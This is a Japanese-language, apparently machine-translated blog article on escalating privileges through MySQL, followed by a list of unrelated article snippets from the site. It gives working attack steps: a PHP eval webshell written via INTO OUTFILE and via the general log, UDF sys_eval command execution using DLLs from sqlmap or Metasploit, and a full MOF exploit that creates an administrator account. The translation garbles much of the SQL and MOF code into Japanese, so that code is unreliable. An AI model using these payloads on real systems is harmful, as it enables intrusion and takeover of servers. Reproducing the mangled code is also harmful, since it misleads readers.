1. Webshellを書く出力ファイルにシェルを書き込む前提条件: 1. ウェブサイトの物理的なパスを知る 2. 高い権限を持つデータベースユーザー 3. load_file() が有効になっている、つまり secure_file_priv は無制限である 4. ウェブサイトのパスに書き込み権限がある まず、基本構文は、secure_file_privに制限がないかどうかを問い合わせます。 '%secure_file_priv%' のようなグローバル変数を表示します。
MySQL 5.5 より前では、 secure_file_priv はデフォルトで空でした。この場合、任意の絶対パスにファイルを書き込むことができました。 MySQL 5.5 以降では、 secure_file_priv のデフォルトは NULL に設定され、その場合、ファイルを書き込むことはできません。 上記の条件がすべて満たされている場合は、次の SQL ステートメントを使用してシェルに直接書き込むことができます。 '<?php @eval($_POST[cmd]); ?>' を出力ファイル 'C:\\soft\\WWW\\empirecms\\shell.php' に選択します。 ターゲットパスを確認し、shell.phpファイルが書き込まれていることを確認します。 上部包丁接続部 ログファイル書き込みシェル前提条件: 1. Webフォルダの緩い権限が書き込まれる可能性がある 2. ウィンドウ 3. MySQLまたはApacheを高い権限で実行する MySQL 5.0以降ではログファイルが作成されますが、ログのグローバル変数をgetshellに変更することで変更できます。 ログディレクトリを表示する 'general%' のような変数を表示します。 general_log はデフォルトで無効になっています。有効にすると、ユーザーが入力したすべてのコマンドが記録され、対応するログ ファイルに保存されます。 ログファイルの場所の変更 グローバル general_log を "ON" に設定します。 グローバル general_log_file を 'C:\\soft\\WWW\\empirecms\\log.php' に設定します。 現在のログ構成を表示する ターゲットディレクトリを確認し、log.phpファイルを書き込みます シェルに書き込む '<?php @eval($_POST[cmd]); ?>' を選択します 包丁で接続する 2. UDF 権限昇格カスタム関数は、データベース機能の拡張です。ユーザーはカスタム関数を使用して、MySQL では簡単に実装できない関数を実装できます。新しく追加された関数は、ネイティブ関数 version() を呼び出すのと同じように、SQL ステートメントで呼び出すことができます。 ダイナミック リンク ライブラリ MySQL のバージョンが 5.1 以上の場合、カスタム関数を作成する前に、UDF ダイナミック リンク ライブラリ ファイルを MySQL インストール ディレクトリの下の lib\plugin フォルダに配置する必要があります。 では、ダイナミック リンク ライブラリ ファイルはどこにありますか?実際、私たちがよく使用するツールである sqlmap と Metasploit には、対応するシステム用のダイナミック リンク ライブラリ ファイルが付属しています。 sqlmap UDF ダイナミック リンク ライブラリ ファイルの場所
ただし、sqlmap に含まれるこれらのダイナミック リンク ライブラリは、誤って強制終了されることを防ぐためにコーディングされており、直接使用することはできません。ただし、sqlmap に付属するデコード ツール cloak.py を使用してデコードすることができます。cloak.py の場所は、sqlmap ルート ディレクトリ/extra/cloak/cloak.py です。 デコード方法は次のとおりです。 32 ビット Windows ダイナミック リンク ライブラリのデコード:
他のLinuxおよびWindowsのダイナミックリンクライブラリのデコードも同様です または、デコードせずにmetasploitに付属するダイナミックリンクライブラリを直接使用する Metasploit UDF ダイナミック リンク ライブラリ ファイルの場所 次のタスクは、UDF ダイナミック リンク ライブラリ ファイルを MySQL プラグイン ディレクトリに配置することです。このディレクトリを見つけるにはどうすればよいでしょうか?次の SQL ステートメントを使用してクエリを実行できます。 '%plugin%' のような変数を表示する ダイナミックリンクライブラリの書き込み secure_file_privが無制限の場合、プラグインディレクトリに手動でファイルを書き込むことができます。 load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll') をダンプファイル 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll' に選択します。
カスタム関数を作成し、コマンドを呼び出す カスタム関数の作成 CREATE FUNCTION sys_eval は STRING SONAME 'udf.dll' を返します。 sys_evalが追加されているかどうかを確認する 次に、作成された関数を通じてシステム コマンドを実行できます。 カスタム関数の削除 関数 sys_eval を削除します。 3. MOF 権限昇格Mof 権限昇格原則 mof 権限昇格の原理は、実は非常に単純です。c:/windows/system32/wbem/mof/ ディレクトリの nullevt.mof ファイルを使用して、特定の時間に 1 分ごとに実行し、実行用の cmd コマンドを書き込みます。 厳格な前提条件: 1. Windows 03以下 2. mysqlの起動IDには、c:/windows/system32/wbem/mofディレクトリの読み取りと書き込みの権限があります。 3. secure-file-privパラメータがnullではない 権限昇格プロセス: MOF ファイルは 5 秒ごとに実行され、システム権限です。mysql を介して load_file を使用してファイルを /wbme/mof に書き込むと、システムはアップロードした MOF を 5 秒ごとに実行します。 MOF には vbs スクリプトがあります。この vbs スクリプトの内容を制御して、システムがコマンドを実行し、権限を昇格できるようにすることができます。 エクスプロイト コードは次のとおりです (test.mof): #pragma namespace("\\\\.\\root\\subscription") __EventFilter のインスタンスを $EventFilter として { イベント名前空間 = "Root\\Cimv2"; 名前 = "filtP2"; クエリ = "Select * From __InstanceModificationEvent" 「TargetInstance は \"Win32_LocalTime\" です」 「そして TargetInstance.Second = 5」; クエリ言語 = "WQL"; }; ActiveScriptEventConsumer のインスタンスを $Consumer として { 名前 = "consPCSV2"; スクリプトエンジン = "JScript"; スクリプトテキスト = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")"; }; __FilterToConsumerBinding のインスタンス { 消費者 = $Consumer; フィルター = $EventFilter; }; MOF ファイルの使用率: 上記のスクリプトを読み取りおよび書き込み権限のあるディレクトリにアップロードします。 ここではC:\soft\にアップロードし、SQL文を使用してファイルをc:/windows/system32/wbem/mof/にインポートします。
権限昇格を確認します。 mof のエクスポートに成功すると、mof が直接実行され、5 秒ごとにユーザーが作成されます。 MOF権限昇格のデメリットについて 権限の昇格に成功した後、アカウントが削除されたとしても、mof は 5 秒以内に元のアカウントを再構築します。これにより、テストを終了するのに大きな問題が発生するため、注意して使用してください。では、ハッキングされたアカウントを削除するにはどうすればいいのでしょうか? cmd で次のステートメントを実行します。 #winmgmt サービスを停止します net stop winmgmt #リポジトリフォルダを削除します rmdir /s /q C:\Windows\system32\wbem\Repository\ # mof ファイルを手動で削除します del c:/windows/system32/wbem/mof/nullevt.mof /F /S # 作成したユーザーを削除する net user hpdoger /delete #サービスを再起動しますnet start winmgmt 要約するこれで、MySQL 権限昇格手法に関するこの記事は終了です。MySQL 権限昇格手法の詳細については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。 以下もご興味があるかもしれません:
|
<<: モバイル適応型ウェブページ効果は、小さな表示ページの問題を解決します
この記事では、参考までに、jsで書かれたシンプルなスネークゲームの具体的なコードを紹介します。具体的...
目次1. はじめにII. 監視対象2.1 なぜオブジェクトを監視する必要があるのですか? 2.2 デ...
みなさんこんにちは。今日はカルーセルの実装についてお話しします。私が作成したカルーセルの効果は次のと...
<br />構造と階層により複雑さが軽減され、読みやすさが向上します。記事やサイトが整理...
目次1. データをバックアップするためのmysqldumpコマンド2. 一般的なmysqldump操...
インターネットにはすでにこの種の記事が溢れていますが、私がこれをまだ書いている理由は単純です。それは...
MySQL 8.0圧縮パッケージのインストール方法、詳細は次のとおりです知らせ:オペレーティング シ...
序文比較的複雑な大規模システムでは、複雑なロジックで処理する必要があるオブジェクトまたはデータ フロ...
/******************** * 仮想ファイルシステム VFS **********...
123WORDPRESS.COM HTML チュートリアル セクションに戻るには、ここをクリックして...
目次1. サンプルコード2. 現象を通して本質を見抜く3. 実施原則4. 親コンポーネントのコンパイ...
目次MySQLマスタースレーブの基本原理3つのbinlog形式の比較混合形式のバイナリログが存在する...
大学 4 年生のときのインターンシップ中に、表内のデータの番号をクリックすると、そのデータの下に新し...
MySQL 変数には、システム変数とシステム変数が含まれます。今回の学習課題はユーザー定義変数です。...
この記事は、VMware Workstation 12 ProのインストールLinuxチュートリアル...